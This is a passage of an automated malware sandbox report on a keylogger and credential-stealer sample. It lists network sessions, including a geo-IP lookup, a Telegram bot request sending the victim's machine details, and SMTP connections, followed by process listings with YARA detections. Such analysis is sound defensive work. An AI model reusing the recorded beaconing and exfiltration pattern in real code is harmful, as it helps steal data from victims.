                                                                                                                                                                    2025-01-02 15:05:46 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    17192.168.2.449769188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:48 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:48 UTC855INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:48 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145137
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=y6084H1JcBLEzjyqfmjfkjE6DVNYYitxqZhZ37lS%2BbHPECqJ4CrZ7Zih%2FVu7oapToMbgB7md9TEEGLnDC8jUrWQnHJ%2Fc8Jpvklo3Di0HhwjlqhEUxWtymGCW9VKmkODABGDfSxdW"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba63d38e642c6-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1758&min_rtt=1747&rtt_var=679&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1585233&cwnd=149&unsent_bytes=0&cid=4091bddc7ac07a81&ts=165&x=0"
                                                                                                                                                                    2025-01-02 15:05:48 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    18192.168.2.449771188.114.97.34438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:51 UTC85OUTGET /xml/8.46.123.189 HTTP/1.1
                                                                                                                                                                    Host: reallyfreegeoip.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:51 UTC861INHTTP/1.1 200 OK
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:51 GMT
                                                                                                                                                                    Content-Type: text/xml
                                                                                                                                                                    Content-Length: 362
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Age: 1145140
                                                                                                                                                                    Cache-Control: max-age=31536000
                                                                                                                                                                    cf-cache-status: HIT
                                                                                                                                                                    last-modified: Fri, 20 Dec 2024 09:00:10 GMT
                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NfapBwRik8rq2AOiFKWQjW0eYK8ivtmeW%2Bq%2Frq4SfeimjoFv238Zp%2BARozadFbO7PLl2iPRlzYz%2F%2BwvIll9lTF%2BkPWkfh2C41nLTIPn3GoBacrI6Zh7x11qBsdRmS8wuptzdeOjc"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                    Server: cloudflare
                                                                                                                                                                    CF-RAY: 8fbba6515c3a6a5e-EWR
                                                                                                                                                                    alt-svc: h3=":443"; ma=86400
                                                                                                                                                                    server-timing: cfL4;desc="?proto=TCP&rtt=1952&min_rtt=1948&rtt_var=738&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=699&delivery_rate=1474003&cwnd=186&unsent_bytes=0&cid=b857d00d3657b9f2&ts=149&x=0"
                                                                                                                                                                    2025-01-02 15:05:51 UTC362INData Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f
                                                                                                                                                                    Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo


                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                    19192.168.2.449772149.154.167.2204438008C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                    2025-01-02 15:05:52 UTC349OUTGET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:138727%0D%0ADate%20and%20Time:%2003/01/2025%20/%2001:16:54%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20138727%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1
                                                                                                                                                                    Host: api.telegram.org
                                                                                                                                                                    Connection: Keep-Alive
                                                                                                                                                                    2025-01-02 15:05:52 UTC344INHTTP/1.1 404 Not Found
                                                                                                                                                                    Server: nginx/1.18.0
                                                                                                                                                                    Date: Thu, 02 Jan 2025 15:05:52 GMT
                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                    Content-Length: 55
                                                                                                                                                                    Connection: close
                                                                                                                                                                    Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                    Access-Control-Allow-Origin: *
                                                                                                                                                                    Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
                                                                                                                                                                    2025-01-02 15:05:52 UTC55INData Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d
                                                                                                                                                                    Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}


                                                                                                                                                                    SMTP Packets

                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IPCommands
                                                                                                                                                                    Jan 2, 2025 16:05:53.565320015 CET58749773208.91.198.176192.168.2.4220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/02/25 15:05:53
                                                                                                                                                                    Jan 2, 2025 16:05:53.565547943 CET49773587192.168.2.4208.91.198.176EHLO 138727
                                                                                                                                                                    Jan 2, 2025 16:05:53.717077017 CET58749773208.91.198.176192.168.2.4250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions
                                                                                                                                                                    250-AUTH NTLM CRAM-MD5 LOGIN
                                                                                                                                                                    250-SIZE 31457280
                                                                                                                                                                    250-HELP
                                                                                                                                                                    250-AUTH=LOGIN
                                                                                                                                                                    250 STARTTLS
                                                                                                                                                                    Jan 2, 2025 16:05:53.717415094 CET49773587192.168.2.4208.91.198.176STARTTLS
                                                                                                                                                                    Jan 2, 2025 16:05:53.873588085 CET58749773208.91.198.176192.168.2.4220 Ready to start TLS
                                                                                                                                                                    Jan 2, 2025 16:05:59.436655045 CET58749799208.91.198.176192.168.2.4220 PLESK-WEB15.webhostbox.net ESMTP MailEnable Service, Version: 10.43-10.43- ready at 01/02/25 15:05:59
                                                                                                                                                                    Jan 2, 2025 16:05:59.436861038 CET49799587192.168.2.4208.91.198.176EHLO 138727
                                                                                                                                                                    Jan 2, 2025 16:05:59.582561970 CET58749799208.91.198.176192.168.2.4250-PLESK-WEB15.webhostbox.net [8.46.123.189], this server offers 5 extensions
                                                                                                                                                                    250-AUTH NTLM CRAM-MD5 LOGIN
                                                                                                                                                                    250-SIZE 31457280
                                                                                                                                                                    250-HELP
                                                                                                                                                                    250-AUTH=LOGIN
                                                                                                                                                                    250 STARTTLS
                                                                                                                                                                    Jan 2, 2025 16:05:59.582701921 CET49799587192.168.2.4208.91.198.176STARTTLS
                                                                                                                                                                    Jan 2, 2025 16:05:59.880295038 CET58749799208.91.198.176192.168.2.4220 Ready to start TLS

                                                                                                                                                                    Statistics

                                                                                                                                                                    CPU Usage

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    Memory Usage

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                    Behavior

                                                                                                                                                                    Click to jump to process

                                                                                                                                                                    System Behavior

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:0
                                                                                                                                                                    Start time:10:04:56
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Users\user\Desktop\image.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Users\user\Desktop\image.exe"
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:2'143'232 bytes
                                                                                                                                                                    MD5 hash:4F481037138109F314141B4FEDE21F87
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000002.1714114145.0000000002406000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 00000000.00000003.1679035138.000000007FCD0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:1
                                                                                                                                                                    Start time:10:04:59
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                                    Imagebase:0x240000
                                                                                                                                                                    File size:236'544 bytes
                                                                                                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:2
                                                                                                                                                                    Start time:10:04:59
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                    Imagebase:0x7ff7699e0000
                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:3
                                                                                                                                                                    Start time:10:05:00
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:175'800 bytes
                                                                                                                                                                    MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.1987899821.0000000030655000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000003.1711936477.000000002D7CA000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.1983839212.000000002F309000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.1986029241.000000002F651000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000003.00000001.1710492566.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000003.00000002.1989299008.00000000323B0000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000003.00000002.1988448471.0000000031C30000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000003.00000002.1965140113.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000003.00000002.1986029241.000000002F6BC000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                    • Detection: 3%, ReversingLabs
                                                                                                                                                                    Reputation:moderate
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:4
                                                                                                                                                                    Start time:10:05:11
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Users\Public\Libraries\Pumyophn.PIF
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:"C:\Users\Public\Libraries\Pumyophn.PIF"
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:2'143'232 bytes
                                                                                                                                                                    MD5 hash:4F481037138109F314141B4FEDE21F87
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:Borland Delphi
                                                                                                                                                                    Antivirus matches:
                                                                                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                                                                                    • Detection: 16%, ReversingLabs
                                                                                                                                                                    Reputation:low
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:5
                                                                                                                                                                    Start time:10:05:11
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                                                                                                                                                                    Imagebase:0x240000
                                                                                                                                                                    File size:236'544 bytes
                                                                                                                                                                    MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:6
                                                                                                                                                                    Start time:10:05:11
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                    Imagebase:0x7ff7699e0000
                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Reputation:high
                                                                                                                                                                    Has exited:true

                                                                                                                                                                    General

                                                                                                                                                                    Target ID:7
                                                                                                                                                                    Start time:10:05:11
                                                                                                                                                                    Start date:02/01/2025
                                                                                                                                                                    Path:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                    Commandline:C:\Users\Public\Libraries\nhpoymuP.pif
                                                                                                                                                                    Imagebase:0x400000
                                                                                                                                                                    File size:175'800 bytes
                                                                                                                                                                    MD5 hash:22331ABCC9472CC9DC6F37FAF333AA2C
                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                    Yara matches:
                                                                                                                                                                    • Rule: MALWARE_Win_RedLine, Description: Detects RedLine infostealer, Source: 00000007.00000001.1828156271.0000000000400000.00000040.00000001.00020000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.2966303963.0000000027C82000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                    • Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: Florian Roth
                                                                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: 00000007.00000002.2965986286.0000000027A00000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen
                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                    • Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000007.00000002.2964315761.00000000274C9000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
